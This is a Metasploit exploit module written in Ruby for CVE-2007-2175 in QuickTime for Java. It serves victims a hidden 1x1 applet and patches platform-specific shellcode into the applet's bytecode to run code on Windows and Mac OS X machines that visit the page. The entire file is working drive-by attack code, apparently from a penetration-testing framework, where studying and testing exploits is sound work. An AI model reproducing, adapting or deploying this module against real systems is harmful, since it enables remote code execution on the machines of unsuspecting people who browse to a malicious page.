##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
      'Description'    => %q{
        This module exploits an arbitrary memory access vulnerability in the
      Quicktime for Java API provided with Quicktime 7.

      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'hdm',           # Original exploit for Mac OS X PPC / Win32
        'kf',            # Added support for Mac OS X X86
        'ddz'            # Discovered bug, provided tips
      ],
      'References'     =>
        [
          ['CVE',    '2007-2175'],
          ['OSVDB', '34178'],
          ['BID',    '23608'],
          ['ZDI',    '07-023'],
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => ''
        },
      'Platform'       => %w{ win osx },
      'Targets'        =>
        [
#
# Problem with generic payloads + regenerate_payload still :(
#
#					[ 'Quicktime 7 Automatic',
#						{
#							'Platform' => ['win', 'osx'],
#							'Arch' => [ARCH_X86, ARCH_PPC]
#						}
#					],
          [ 'Quicktime 7 on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Quicktime 7 on Mac OS X PPC',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Quicktime 7 on Mac OS X x86',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
        ],
#			'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 23 2007'
      ))
  end


  def exploit
    # load the class data
    path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class")
    fd = File.open(path, "rb")
    @class_data = fd.read(fd.stat.size)
    fd.close

    super
  end


  def on_request_uri(cli, req)

    # Create a cached mapping between IP and detected target
    @targetcache ||= {}
    @targetcache[cli.peerhost] ||= {}
    @targetcache[cli.peerhost][:update] = Time.now.to_i

    if (target.name =~ /Automatic/)
      case req.headers['User-Agent']
      when /Windows/i
        print_status("Choosing a Windows target")
        @targetcache[cli.peerhost][:target] = self.targets[1]
      when /PPC Mac OS X/i
        print_status("Choosing a Mac OS X PPC target")
        @targetcache[cli.peerhost][:target] = self.targets[2]
      when /Intel Mac OS X/i
        print_status("Choosing a Mac OS X x86 target")
        @targetcache[cli.peerhost][:target] = self.targets[3]
      end
    end

    # Clean the cache
    rmq = []
    @targetcache.each_key do |addr|
      if (Time.now.to_i > @targetcache[addr][:update]+60)
        rmq.push addr
      end
    end

    rmq.each {|addr| @targetcache.delete(addr) }


    # Request processing

    if (not req.uri.match(/\.class$/i))

      # Redirect to the base directory so the applet code loads...
      if (not req.uri.match(/\/$/))
        send_redirect(cli, get_resource() + '/', '')
        return
      end

      # Display the applet loading HTML
      print_status("Sending HTML")
      send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
      return
    end

    # Send the actual applet over
    print_status("Sending applet")
    send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })

    # Handle the payload
    handler(cli)
  end

  def generate_html()
    return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
  end

  def generate_applet(cli, req)

    this_target = nil
    if (target.name =~ /Automatic/)
      if (@targetcache[cli.peerhost][:target])
        this_target = @targetcache[cli.peerhost][:target]
      else
        return ''
      end
    else
      this_target = target
    end

    # make a copy..
    data = @class_data.dup

    # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
    idx_targ = data.index("\x03\x10\xcc\x54")

    # 1024 bytes for shellcode
    idx_code = data.index("\x03\x10\xf0\x54")

    # Handle Mac OS X PPC
    if (this_target.arch.include?(ARCH_PPC))
      tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
      data = patch_bytecode(idx_code, data, tp.encoded)
      data = patch_bytecode(idx_targ, data, "\x01")
    end

    # Handle Mac OS X x86 / Windows x86
    if (this_target.arch.include?(ARCH_X86))

      if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
        tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
        data = patch_bytecode(idx_code, data, tp.encoded)
        data = patch_bytecode(idx_targ, data, "\x03")
      end

      if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
        tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
        data = patch_bytecode(idx_code, data, tp.encoded)
        data = patch_bytecode(idx_targ, data, "\x02")
      end
    end

    return data
  end

  def patch_bytecode(off, data, buff)

    cnt = 0
    off -= 1
    while (cnt < buff.length)
      cnt += 1
      while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
        off += 1
      end
      data[off]=buff[cnt-1]
      off += 1
    end

    return data
  end


end
